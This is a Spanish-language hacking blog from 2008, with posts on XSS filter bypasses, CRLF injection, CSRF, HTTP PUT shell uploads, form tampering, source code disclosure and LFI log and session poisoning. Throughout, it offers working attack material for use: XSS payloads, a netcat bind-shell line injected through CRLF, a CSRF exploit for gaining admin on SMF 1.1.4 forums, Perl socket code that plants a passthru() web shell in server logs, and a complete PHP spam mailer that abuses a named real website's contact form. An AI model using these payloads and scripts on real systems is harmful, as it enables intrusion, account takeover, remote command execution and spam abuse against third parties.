Hoy os traigo una serie de formas de bypassear filtros para poder explotar un XSS... Todo está sacado de mi artículo XSS y el Bypassing de filtros publicado en Argeniverso Hack. Como el artículo era muy extenso, sólo os traigo la parte de los filtros.Mi anterior paper (publicado en #RE aquél de XSS: Saltándonos las magic quotes y otros filtros) sobre este mismo tema, no era tan extenso ni abarcaba tantos filtros, y aún así a ciertas personas le gustó (por ejemplo a FR34K), en esta ocasión espero sorprenderles nuevamente.

ST
Primero definamos qué es el bypassing. El bypassing, para cualquier cosa, consiste en poder atravesar alguna medida de seguridad con un objetivo. En nuestro caso, la definición se amolda a "saltar un filtro". El primer tipo de filtro va a ser en los formularios en los cuales sólo te dejan escribir un número determinado de caracteres.

En los inputs, se puede colocar un parámetro el cual defina el máximo número de caracteres que se pueden escribir dentro del input, se trata de maxlength="numero". Si encontrásemos un input al estilo de:

<input type="text" name="input" maxlength="5"/>

No podríamos escribir nada interesante, puesto que únicamente tenemos espacio para escribir 5 letras.... Entonces si pensamos un poco, recordaremos cierta técnica enfocada a modificar un formulario antes de enviarse.... Sí, exacto: es hora de practicar form tampering.

Simplemente debemos de abrir alguna tool que nos permita modificar el código fuente, vamos al formulario en cuestión, y modificamos el maxlength por un número altísimo, por ejemplo:

<input type="text" name="input" maxlength="99999999999999999"/>

Ahora si probamos a escribir en nuestro campo, observaremos que ya sí podemos inyectar código malicioso.

Otro filtro muy común son las magic qoutes. Este filtro se ocupa de adherir una \ a las comillas que pongamos en nuestro código malicioso. Así si intentamos poner algo, "en teoría" modificaría nuestra sentencia haciéndola inservible... Pero sólo en teoría.

El primer consejo que os doy para saltar un filtro, es ver qué bloquea, y despues buscar la forma de no hacer eso que bloquea. Es decir, si no te deja poner comillas, no luches contra ello, evítalo y busca la forma de inyectar sin usar comillas. Un ejemplo sería meter el código malicioso en un .js alojado en un servidor externo, y entonces al hacer la inyección, la hacemos sin comillas:

<script src=Http://host.com/FoS.js></script>

Ya tendríamos nuestra bonito XSS explotado. Pero no siempre todo es tan fácil. Las magic quotes también pueden hacer el efecto contrario: que te impidan poner /, ya que le adhieren unas comillas. Estaríamos ante el mismo problema que antes... o incluso peor, puesto que se nos impide cerrar cualquier tipo de tag, ya que recordemos, en HTML es necesario cerrar los tags con .

Bien, no os asusteis, recordad mi consejo: No lucheis, evitad. Pues eso, evitemos tener que cerrar tags. Tenemos que realizar una búsqueda mental de elementos que no necesiten ser cerrados. Elementos como tales no encontraremos, pero..¿ y si os dijera que se puede meter código javascript dentro de un tag ?

Sip, así es. La idea original sería la de ejecutar algún evento "on" asociado a unas sentencias en JavaScript. En nuestro caso, y como ya espuse en otro paper, vamos a proceder a crear un error, y que al producirse el error tenga como respuesta la ejecución de JavaScript. Este elemento "on" es onerror. Tendríamos que poner simplemente onerror=Código Javascript.

Para producir el error vamos a poner un con una ruta ficticia. Al no poder visualizar la imagen, saltará el consecuente error que ejecutará el código malicioso. Lo que traducido sería:

<img src=. onerror=Alert(/FoS TeaM/)>

La cosa se puede poner más peliaguda aún, si lo que hace el filtro es impedir meter letras a la variable. Me refiero a ciertos filtros que te permiten ejecutar JavaScript, pero que dentro de la sentencia en sí no te dejan usar letras ni caracteres especiales. Para estos casos, podemos transformar nuestro código malicioso en los valores ASCII de los caracteres que lo componen, y despues incrustarlos a través de String.fromCha rCode(codigo ascii).


alert(String.fromCharCode(88,83,83));

Esto provocaría una ventanita de alert con el texto "XSS". Otra forma de saltar estos filtros es poniendo código malicioso en UNICODE, es decir, representando cada caracter con su valor Hexadecimal y añadiéndole a cada uno un % delante.

Y ya por último, otro filtro que sí que nos pone las cosas bien jodidas, la función Strip_Tags . Esta función se encarga de eliminar de una variable todo lo que esté entre < >. Ahora sí que la cosa está dificil, ¿eh?. ¿Qué os tengo dicho? No intentar atravesar, siempre evitar. Y eso haremos.

Que no podemos poner < >, pues no lo ponemos. Si recordamos a los XSS en formularios, para saltarlos había que cerrar Value y a partir de ahí inyectar... Pues ahora vamos a realizar una variante de esta técnica. Si sabemos algo de CSS, podemos recordar que se pueden poner URL en algunos elementos... Entonces si a nuestro input le hacemos esto:


<input type="text" name="input" value="" STYLE="background: url(url con codigo malicioso)">

Habremos conseguido inquistar una sentencia maligna dentro del tag propio de la página.

En muchos blogs te permiten usar ciertos tags permitidos, como o <li> y esas cosas. Ahí igualmente se podría inyectar el código malicioso al meter un <b onload="codigo">. La función Strip_tags no te deja poner tus propios tags, pero sí que te deja poner los que el webmaster haya puesto.

Byt3z a todos y espero que os haya gustado.

CRLF Injections: Infectando descargas

2008-09-01T12:11:00.004+02:00

Saludos!

Documentandome un poco acerca de las CRLF Injections y de HTTP response Splitting, me he topado con un paper del blog de InyeXion (http://inyexion.com.ar/?num=113) que habla acerca de cómo infectar descargas usando esta técnica, aquí os la explico brevemente (recomiendo hechar un ojo al paper de InyeXion)

Un código PHP vulnerable a Source Code Disclosure, debido a que permite la descarga de cualquier tipo de archivo, puede convertirse en un vector de ataque para poder intrusear a una víctima. Tenemos un PHP como este:

header(”Content-Type: application/octet-stream”); header(”Content-Disposition: attachment; filename=”.$_REQUEST[”file”]);

Existen una serie de caracteres que HTTP utiliza como señales para dar saltos de línea y demás, estos caracteres son CR (carriage return) y LF (Line Feed), cuya representación es 0x0D y 0x0A.

Volviendo al ejemplo anterior en PHP, tendríamos una web para descargarnos archivos tipo www.miweb.com/descargas.php?file= , donde en file= pondríamos el archivo a descargar, véase por ejemplo:

www.miweb.com/descargas.php?file=programa.bat

Ahora bien, si a esa URL, le añadimos dos saltos de línea, el texto que haya acontinuación se transferirá como si fuese el propio código fuente del archivo. Por ejemplo, si añadiésemos %0d%0a%0d%0anc -l -p 57 -e cmd , se produciría el doble salto de linea, haciendo que nuestro archivo programa.bat contenga esas líneas, que lo que hacen es colocar una shell en el puerto 57.

Como podeis ver, esta técnica puede ser ampliable en su uso, y buscarse otros código s a inyectar en otras extensiones... todo lo que hay que tener es imaginación.

Posters de Visual Studio 2008

2008-08-31T15:31:00.001+02:00

Todos sabemos que los atajos del teclado son realmente útiles y nuestra productividad aumenta si los utilizamos. Visual Studio 2008 posee un atajo para casi todas las tareas, por lo que puede llegar a ser muy difícil recordar todos. Aquí os dejo unos posters que recogen todos y ademas son bien chulos. También uno del FrameWork 3.5 con los tipos y Namespaces más utilizados. Unos posters de lujo:

Póster Visual Basic 2008

Póster Visual C# 2008

Póster Visual C++ 2008

Póster Framework 3.5

Salu2

WPF Application Paper

2008-08-28T16:45:00.003+02:00

Este documento, nos muestra, desde un nivel básico, paso a paso y mediante ejemplos, como crear aplicaciones WPF.
Si no te quieres quedar atrás en lo que a programación respecta, ya sabes cual debe ser tu próxima lectura.

WPF Unleashed 2007

Salu2

PD: Como toda buena información, está en inglés, y mucho me temo, poca encontrarás en español, y más que sea tan completa.

CSRF: Explotando con .htaccess

2008-08-26T15:48:00.000+02:00

Saludos!

Muchas veces no sabemos cómo ingeniárnosla para poder explotar un CSRF, puesto que hasta hoy esto ha requerido de la pericia y habilidad social (lo que denominados ingenieria social) del atacante para conseguir que nuestra víctima viera una web, o clicase sobre un link... Gracias a una vulnerabilidad "presuntamente" descubierta por WHK esto se ha terminado (digo presuntamente, porque yo ya había leido hace tiempo algo relacionado con esto, pero nunca vi esto exactamente, por eso no puedo decir si realmente ha sido él o no el descubridor, yo en todo caso esta información la he sacado de un post suyo en elhacker.net).

La vulneravilidad está presente en todos aquellos sistemas o aplicaciones webs que permitan el uso de tags para la visualización de imágenes. Hoy en día creo que el 100% de los foros podrían ser vulnerables debido a que todos usan [img][/img].

Para explotar esta vulnerabilidad es necesario crear un .htaccess en un directorio, y agregarle este contenido:

<Files *.jpg>
ForceType application/x-httpd-php
</Files>

Estas líneas lo que haran será que se interpreten los archivos .jpg como si se tratasen de aplicaciones, lo que nos permitiría meter código PHP dentro del source de un .jpg y que éste se ejecute cuando se visualice en otra página.

Aqui les dejo un exploit para usar en las firmas de los foros SMF 1.1.4 y ser admins... Tendreis que modificarle un par de cosillas (anti-Kiddies)

<?php
/*
SMF 1.1.4 ADD USER IN A GROUP VULNERABILITY
PoC codded by Vengador de las Sombras
Dork: "Powered by SMF 1.1.4"
============================================
Cross Site Request Forguery
============================================
Gr3tZ to: Lëssiëm, WaesWaes, Plaga, Lutscher
Phonix, Fr34k, Keynet, CHR0N05,
Mycrox & #RE & ArgeniversoHack
Members
=============================================
(c)F.o.S. TeaM 2008
*
$foro = $_GET['foro'];
if(isset($_GET['foro'])){
header("Location: ".$foro./indez.php?action=membergroups;sa=members;group=1;realName=[OurNickName];toAdd=usertoadd&add=Add+Members&sc=[Admin ID]"):
}
*/
?>

Ya sabeis como utilizarlo :D

HTTP METHODS: Subiendo Shell mediante PUT

2008-08-25T16:57:00.000+02:00

Saludos!

El caso es que ayer estaba hablando con RGB90, cuando salió este tema de conversación, el de defacear una web a través del método HTTP PUT. Antes que nada necesito hacer una pequeña introducción para que comprendais cómo funcionan los Métodos HTTP, veremos algunos métodos y posteriormente pasare a la explicación de como usar PUT (Si el servidor lo tiene Allowed) para modificar un archivo, o para subir una shell.

El protocolo HTTP tiene una serie de métodos que permiten interaccionar al cliente con un servidor (generalmente en el que se aloja una web). Las relaciones entre cliente y servidor, se lleva a cabo a través de cabeceras, las que manda el cliente las denominaremos peticiones. El servidor manda otras cabeceras en respuesta a esas peticiones que el cliente mandó.

Existen varios tipos de cabeceras, entre las que destacan OPTIONS, HEAD, PUT, DELETE, MOVE, COPY, POST, GET... Estoy más seguro que estaris más familiarizados con los métodos POST y GET, sobre todo los que sepan PHP.

Para poder visualizar una web a través de un navegador, el navegador a tenido primero que mandar una cabecera con un metodo tipo GET (este tipo de metodo se encarga de mostrar el código fuente de un archivo, el cual posteriormente el navegador interpretará) a la cual el servidor ha respondido mandandole una cabecera con algunos datos, y que además contiene el source del archivo al que le hemos hecho GET.

Quizás os haya liado un poco con tanta palabrería, así que os lo explico rápidamente mostrando un ejemplo:

-Navegador manda una cabecera:

GET /index.php HTTP/1.1
Host: hostfalso.com

-Servidor le contesta:

HTTP/1.x 200 OK
Date: Mon, 25 Aug 2008 14:25:39 GMT
Server: Apache
Conection: Keep-Alive
Keep-Alive: Timeout=2, max=125

<h1>Hello World</h1>

Como podeis observar, la estructúra básica de una cabecera es:
[Metodo] [Archivo] HTTP/
Host: El host

Y debajo otros campos, como pueden ser el tiempo de vida, la cookie, el user-agent, etc...

Podemos usar add ons como Tamper Data, Live HTTP Header, o Achilles para poder sniffear estas cabeceras y poder modificarlas posteriormente. Nosotros vamos a servirnos de Live HTTP Header (para FireFox) para modificar las peticiones y así usar otros métodos...

Ahora retomemos aquello de lo que empecemos a hablar, los métodos HTTP. Si recordais, nombré a OPTIONS. Este método informa sobre los metodos que el servidor tiene Allowed (permitidos). Lo normal es que tengan muy restringido esto... Puesto como ya le enseñe a RGB90 en dos Webs, que si no se tiene cuidado podemos defacear perfectamente, o borrar archivos...

Bueno, como iba diciendo, si sniffeamos una cabecera con Live HTTP Headers, y le damos a REPETIR y cambiamos GET por OPTIONS, volvemos a dar a repetir... Y obtendremos una nueva respuesta por parte del servidor, en la cual aparecerá más data, y la parte que nos interesa los métodos permitidos.

Éstos aparecen en una línea que comienza con Allow: [Metodos permitidos]. En el caso de que tuviesen permito el método PUT, podríamos subir una shell...

Ahora hablemos un poco sobre este método... El método PUT es lo contrario de GET. GET, por su parte lo que hace es leer el source del archivo al que le hacemos la petición, en cambio, PUT lo que hace es sobreescribir sobre el código fuente del archivo. Para usar PUT simplemente devemos de mandar una cabecera así:

PUT /archivo.php HTTP/1.1
Host: Ficticio.com

AQUI EL CODIGO FUENTE

Si el archivo al que le hacemos PUT existe, lo que ocurre es que se sobreescribe nuestro código fuente sobre el que ya había, en cambio si no existe el archivo... lo crea. Por lo tanto, de esta forma podemos subir una shell a un servidor que tenga permitido el método PUT.

Baste decir que si el webmaster mira sus logs, podrá ver perfectamente que hemos recurrido a esta técnica, puesto que canta mucho XD.

Podeis codearos algún exploit, yo anoche estuve codeando uno para este tutorial, se lo pasé a Seth para que lo betatesteara, me mandó los errores y los corregí, ahora el problema es de diseño, es decir funciona sin errores, pero me salta como que PUT está allowed siempre -.-, dentro de un rato lo revisaré haber si consigo arreglar eso y lo publico.

Form Tampering: Modificando Formularios

2008-08-24T11:32:00.000+02:00

Saludos!

Hoy vengo a explcarles una técnica de las que realmente poco se utiliza por su escasez, y de utilizarse es para explotar alguna nimiedad, del estilo de bypassear un filtro de maxlenght en un input. En ningún caso podemos considerar al Form Tampering como una vulnerabilidad, puesto que no se explota nada, hay que entenderlo más bien como una técnica.

Esta técnica consiste en modificar el contenido de un formulario antes de ser enviado. ¿Qué importancia tiene esto? Pues en realidad sólo sirve para poder modificar contenido antes de que sea procesado. La gracia de esta técnica suele ser cuando encontramos en un formulario campos "hidden" cuyo contenido pueda tener mucha relevancia, como por ejemplo un precio (véase el video de Login-RooT acerca de este tema), o como en el caso de perfil.com, podemos construirnos un mailer (vulnerabilidad descubierta por r0dr1g0), o muchas otras cosas, dependiendo de qué campos encontremos.

Seguro que todos vosotros habeis recurrido a modificar el código fuente de un formulario para poder explotar un XSS, el cual no podíais hacer porque había un input con un maxlength que limitaba el número de caracteres que se podían poner. También es común esto en el caso de las SQL Injections dentro de buscadores y que limitan el número de caracteres. Pues bien, esto ya es Form Tampering, ya que lo modificamos "antes" de enviar la petición. Por el contrario, si lo que hacemos es modificar la petición a través de algún sniffer de cabeceras (como Live HTTP Headers, Tamper Data, Achilles, etc) no se trataría de Form Tampering, puesto que lo que hacemos no es modificar el formulario.

Para poder modificar los campos de los formularios podemos valernos de diversas herramientas, ya sean modificar el código fuente desde el propio navegador, o usar ADD ONS que nos faciliten el trabajo, como el Web Developer Tool Bar. El uso de este add on es sencillo (pueden buscarlo en la web oficial de FireFox) simplemente debemos de posicionarnos en la web que queremos ver el contenido de sus formularios, vamos a la Toolbar que se qeuda en el navegador y seleccionamos la casilla Forms (la cuarta desde la izquierda). Allí marcamos "Display Form Details" y se nos motrarán todos los campos del formulario, permitiendonos modificar los campos "hidden".

Si bien al inicio de este artículo mencioné la vulnerabilidad de Perfil.com que permitía construir un mailer, ahora será cuando ejemplifiquemos cómo usar Form Tampering para explotarla.

Si vamos a esta web ( http://www.perfil.com/contactenos.html ) y mostramos los formularios ocultos... ¿Qué encontramos? <input name="to"> Fijaros que contiene! es el E-mail de Perfil.com Si lo modificamos y añadimos un correo nuestro, y ponemos un nombre de correo inexistente, vereis como nos llega un correo Inbox a nuestra bandeja de entrada desde el correo inexistente :D.

Ahora debemos de analizar porqué el webmaster a dejado esta falla tan grande. Fijaros en la extensión de la página de envío de mails, se trata de .html, luego es una página estática. En las páginas estáticas no existe la posibilidad de crear variables que no se vean con la direccion del correo (como pasa en PHP o ASP), luego el webmaster debe de incluirlo dentro del formulario... y para "ocultarlo" lo ponen como hidden...

Bueno espero que les haya sido de utilidad este paper sobre Form Tampering, para culminar les dejo aquí un exploit para el mailer codeado por Keynet (hay que subirlo a un HackedHost que permita las funciones de Fsockopen:

<title>Mailer ilimitado (#RE) - by KeyNet</title>
<style>
*{
background-color:#000000;
color:#CCCCCC;
font-family:Verdana;
font-size:10px;
border-color:white;
}
#boton{
background:none;
border:solid;
border-width:1px;
}
#no
{
color:red;
}
#yes
{
color:orange;
}
a,a:link,a:visited,a:active
{
color:#ffffff;
text-decoration:none;
}
a:hover
{
color:#CCCCCC;
}
</style>
<FORM id="Form1" name="EnviarForm" method="post" action="">
<table>
<tr>
<td>Asunto: </td>
<td><input type="text" name="nombreFrom" value="<?php if($nombreFrom!=""){echo $nombreFrom;}else{echo 'el asunto de siempre..';}?>" size="40"></td>
<tr>
<td>mail emisor: </td>
<td><input type="text" name="from" value="<?php if($from!=""){echo $from;}else{echo 'cualquiera@gmail.com';}?>" size="40"></td>
</tr>
</table>
<table>
<tr>
<td><textarea name="comentario" rows="12" cols="50"><?php if($comentario!=""){echo $comentario;}else{echo 'visita www.remoteexecution.org';}?></textarea></td>
<td><textarea name="to" rows="12" cols="50"><?php if($to!=""){echo $to;}else{echo 'spammeame@gmail.com'."\n".'amitambienarre@hotmail.com';}?></textarea></td>
</tr>
</table>
<input type="submit" value="ENVIAR" name="Submit"/>
</form>
<?php
@set_time_limit(0);
$nombreFrom = $_POST['nombreFrom'];
$from = $_POST['from'];
$comentario = $_POST['comentario'];
$Submit = $_POST['Submit'];
$to = $_POST['to'];
$count = 0;
if(isset($Submit))
{
$mail_clean = explode("\n",$to);
$count_mails = count($mail_clean);
for($for1=0;$for1<$count_mails;$for1++)
{
$mailto = trim($mail_clean[$for1]);
if(strpos($mailto,'@'))
{
$clean_name = explode('@',$mailto);
$nombreto = $clean_name[0];
$host = 'www.perfil.com';
$path2crack = '/system/modules/com.tfsla.perfil.diario/elements/comentarios_send.jsp'
;
$log_string = 'to='.urlencode($mailto).'&nombreTo='.urlencode($nombreto).'&nombreFrom='.urlencode
($nombreFrom).'&from='.urlencode($from).'&comentario='.urlencode($comentario).'
&Submit=ENVIAR';
$count_log_string = strlen($log_string);
$header = "POST ".$path2crack." HTTP/1.1\r\n";
$header .= "Host: ".$host."\r\n";
$header .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\r\n";
$header .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/
png,image/jpg,image/gif,*/*;q=0.5\r\n";
$header .= "Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$header .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$header .= "Keep-Alive: 300\r\n";
$header .= "Proxy-Connection: keep-alive\r\n";
$header .= "Referer: http://".$host.$path2crack."\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: ".$count_log_string."\r\n\r\n";
$header .= $log_string."\r\n\r\n";
$socket = fsockopen($host,80);
fwrite($socket,$header);
$count++;
printf("<li>%s SPAMMED (%d) !!</li>",htmlentities($mailto),$count);
}
}
print '<script>alert("'.$count.' mails spammed !!")</script>';
}
?>

Source Code Disclosure [ S.C.D.]

2008-08-23T21:44:00.000+02:00



  Se me ocurrió la idea de publicar acerca de esta vulnerabilidad no muy conocida (tal vez porque no es de las que consideramos como de 1ª clase, tales como RFI, LFI, o SQL Injections pero que aún así puede suponer un gran impacto sobre la seguridad de una web) al ver el exploit codeado por SetH.


  La vulnerabilidad en sí consiste en permitir ver el código fuente de archivos alojados en el servidor, conllevando a que un atacante malicoso obtenga información sensible, tales como los datos de las DBs (nombre de usuario, password, etc) o poder ver el funcionamiento de una tercera aplicación que esté en el servidor, permitiendo buscar vulnerabilidades de forma más facil.

  Nosotros vamos a diferenciar entre dos tipos de SCD, el primero que pasaremos inmediatamente a analizar se basa en la posibilidad de descarga a nuestro ordenador de  archivos de la web. El segundo tipo del que hablaremos es caracterizado por ver el código fuente dentro de otro archivo, es decir, lo podremos ver desde el navegador sin necesidar de descargarlo.


Imaginemos un posible código fuente de una aplicación encargada de descargar los archivos que nosotros le indiquemos a través de una sencilla petición GET. El código vulnerable podría ser este:
<?php
/* Ejemplo de código vulnerable
===================================
Paper sobre Source Code Disclosure
 By Vengador de las Sombras
===================================
Flaming our Skills TeaM (F.O.S.)
=================================== */
ob_start();
$archivo=$_GET['descargar'];
if ($archivo == " "){ //Si no se introduce nada en descargar, mostrara un error
echo '<script>alert("ERROR! No ha introducido ningún archivo!!")</script>';
exit;
}
header("Pragma: public");
header("Expires: 0");
header("Content-type: aplication/octet-stream");
header("Content-disposition: attachment; filename=$archivo");
header("Content-Length:".filesize("$archivo"));
readfile("$filename");
?>


El funcionamiento de esta sencillísima aplicación sería el de descargar un archivo que introduzcamos a través de la URL, por ejemplo http://SCD.com/index.php?descargar=/documentos/ficha.doc . Como podeis ver en el código fuente, no hemos añadido ningún tipo de filtro, por lo que un usuario malintencionado podría poner en ?descargar= otro archivo distinto, lo que conllevaría la descarga de otro archivo alojado en el servidor. 

  Es decir, si nosotros modificamos la URL y colocamos http://SCD.com/index.php?descargar=/admin/admin.php, obtendríamos como resultado la descarga del index del panel de administración... Con lo que podríamos buscar posibles vectores de ataque contra ese archivo (o contra cualquier otro que nos descarguemos).

  Pero de esta forma no se le saca el auténtico jugo de esta vulnerabilidad, puesto que puede ser dificultoso encontrar bugs dentro del source de las aplicaciones. El auténtico jugo se le saca cuando dentro del código fuente de lo que nos descargamos aparecen datos de la DB. En este caso, nos abría tocado el gordo.


  Retomemando el ejemplo anterior, imaginémonos que dentro del código fuente de admin.php encontramos una línea similar a esta:

include("/admin/includes/database.inc");


  Inclusiones de este tipo dentro del código fuente de un .php suele ir asociado a la asignación de los datos necesarios para conectarse a la Base de Datos y que la aplicación trabaje sobre ella. Entonces siempre deberemos de descargarnos esta clase de archivos, puesto que es muy alta la probabilidad de encontrar datos como DB_USER, DB_PASS y demás.

  El segundo tipo del que os iba a hablar es del que aparece en el siguiente post de una vulnerabilidad descubierta por SetH (Post aqui). Se produce cuando permiten la inclusión de un archivo (el típico LFI), pero filtran el código para evitar que se ejecute.


  A diferencia del tipo anteriormente comentado, ahora para ver el código fuente no recurriremos a la descarga del archivo, si no que al hacer la inclusión pueden ocurrir dos cosas:

a)Veamos el código fuente del archivo
b)Sólo veamos pequeñas partes del código y algunos tags HTML ejecutados

  De encontrarnos en el segundo caso, para ver el código fuente únicamente tendremos que darle a "Ver Código fuente" dentro del navegador, en FireFox existe el método abreviado de Crtl + U. Ahí veremos perfectamente todo el código fuente :) ( el PHP tambien se ve de esta forma)

Local File Inclusion: Infectando archivos

2008-08-23T18:41:00.000+02:00

Existen ocasiones en que encontramos una web vulnerable a LFI, pero no podemos explotarlo, usando una shell debido a que la web no tienen ningún sistema de upload de fotos  u otro tipo de archivos... Entonces nos vemos en la necesidad de recurrir a otros trucos para poder sacarle jugo a ese LFI que habíamos encontrado.

  Como no podemos subir archivos desde nuestro ordenador, tendremos que buscar una forma para poder introducir nuestra shell dentro del servidor. Es aquí donde entra el juego la "infección", entendiendo infección como la adición de código malicioso (una shell, un backdoor, algún exploit, etc) dentro de un archivo legítimo del servidor. Esta hazaña puede parecer muy dificil, pero si tenemos en cuenta que existen numerosos archivos que son sobreescritos mientras que navegamos, la cosa se aclara un poco más. Para ejemplificar esto de la infección de archivos, voy a proceder a explicar cómo explotar un LFI a partir de los Logs del servidor, y también a partir de un sistema de sesiones (este último ejemplo lo extraigo del foro vZack).

=====================================================================================
       INFECTANDO LOGS

  Todo el mundo sabe que en los servidores se guardan unos logs que archivan los errores y movimientos que se realizan dentro del servidor. Usualmente, estos logs suelen guardar informaciones tales como la IP del visitante, su navegador, etc...


  Esta información la extraen a través de las HTTP Headers que se mandan al servidor. Un ejemplo de una cabecera corta sería:

GET / HTTP/1.1
Host: level-23.com
User-Agent: Mozilla Firefox
Connection: Keep-Alive

Como observais, User-Agent va a contener la información de nuestro navegador... y esta misma información (exactamente lo mismo) va a ser escrita dentro de los logs....

  Si tenemos en ese servidor un archivo vulnerable a LFI, ya sabeis, los típicos:


...........
...........
codigo....
.,,,,,,,,,...
<?php
include($_GET['page']);
?>


Podemos poner en la variable de tipo GET page un archivo que se encuentre dentro del servidor... Usualmente solemos buscar por instinto algún upload de imágenes/txt o cosas así... Pero si no encontramos alguno... ¿Como podemos subir nuestra shell?.

  En vez de subir shell, lo que vamos a hacer es infectar los logs con código malicioso, es decir, vamos a introducir una shell dentro del servidor aprovechando que guarda la información de variables tales como User-Agent (esta técnica también es aplicable a otras variables).
 

  Para inyectar el código, tenemos dos opciones, la primera sería usar algún sniffer de cabeceras como puedes Tamper Data, o Live HTTP Headers, (ambos add ons para FireFox). La segunda opción (y con la que yo creo que se aprende más) es creando un exploit (yo recomiendo PHP o PERL).

  El exploit lo debemos de componer de dos partes. La primera parte será la encargada de mandar una cabecera que infecte los logs, y la segunda será la encargada de ejecutar los comandos y mostrar el output de éstos. Para empezar debemos de lanzar unos sockets que manden la cabecera con el siguiente código:
<?php echo "Empieza";  passthru($_SERVER[HTTP_FoS); echo "Final"; ?>


Entonces debería de quedar algo tipo...use IO::Socket::INET;
$socket = IO::Socket::INET->new( Proto => "tcp",
         PeerAddr => "$host",
         PeerPort => "80")
         || die "[-]Connect Failed: could not connect to $host\n";
print $socket "GET / HTTP/1.1\nHost: $host\nUser-Agent: <?php echo "Empieza";  passthru($_SERVER[HTTP_FoS); echo "Final"; ?>\nConnection: Keep-Alive\n\n";

close $socket;


Y despues para ejecutar los comandos, tenemos que mandar en la cabecera una nueva variable, FoS, que será la contenga los comandos a ejecutar, pero esta vez tendremos que hacer una petición GET al archivo vulnerable a LFI, haciendo ya la inclusión del log:

use IO::Socket::INET;
$peticion= "path/archivo.php?="."../../lugar/del/log";
$socket = IO::Socket::INET->new( Proto => "tcp",
         PeerAddr => "$host",
         PeerPort => "80")
         || die "[-]Connect Failed: could not connect to $host\n";
print $socket "GET $peticion HTTP/1.1\nHost: $host\nFoS: ls -la\nConnection: Keep-Alive\n\n";
close $socket;


Yo recomiendo hacer un bucle con FOR para incluir todos los lugares donde se encuentran los logs de forma habitual... (como el lógico tendreis que añadir la variable $host, y montar realmente el exploit, esto es un simple PoC).

  Para hacer el output del comando, recomiendo recoger la  del socket y pasarle un patrón de búsqueda para que busque "Empieza" y a partir de ahí mostrar el código fuente hasta "Final" (por eso lo escribí en la shell, para que sirviesen como acotación del output).


=====================================================================================
       INFECTANDO SESIONES (extraido del foro de vZack)

Introducion
Muchas veces tenemos solamente un LFI y no sabemos como explotarlo, en este manual os enseñare a como ejecutar LFI teniendo una web vulnerable.

Requisitos de la web:
-Que use LFI
-Que tenga un sistema de usuarios o algún sistema que funciones con sesiones.

Teoría
Supongo que sabreis que las sesiones php te mandan una cookie (llamada PHPSSESID habitualmente) con un identificador en su interior, que a php le sirve para encontrar los valores de la cookie que se encuentran en /tmp/sess_[id]. Entonces nosotros modificaremos los valores del archivo sess_[id] introduciendo código php en su interior.

La practica
Ejemplo de código vulnerable simplificado:
<?php
session_start();
$idioma = $_GET['idioma'];
$_SESSION['idioma'] = $idioma;

if($_SESSION['idioma'] == 'en')
echo 'Hi, welcome to my website';
else
echo'Hola, bienvenido a mi sitio web';
?>
Que pasaría si visitaríamos index.php?idioma=<? phpinfo(); ?>,  $_SESSION[idioma] tomaría el valor de <? phpinfo(); ?>, y este código se guardaría en /tmp/sess_[id], asi que solo tendríamos que mirarel valor de la cookie que nos a lanzado 9d8edfb9f556004520e4b55fa1d98c8b y después incluirla en nuestro bug LFI asi: lfi.php?lfi=../../../../../../../../../../tmp/sess_9d8edfb9f556004520e4b55fa1d98c8b y ya habriamos ejecutado cogido php "infectando" la sesion.

Solución
Para que esto no te pase en tus aplicaciones es recomendable pasar la sesión por htmlspecialchars, asi no podrian abrir las tags del php (<? y ?>)

Este método se me a ocurrido a mi pero bueno seguramente esta descubierto hace tiempo.

Saludos a todos  (Hondamena)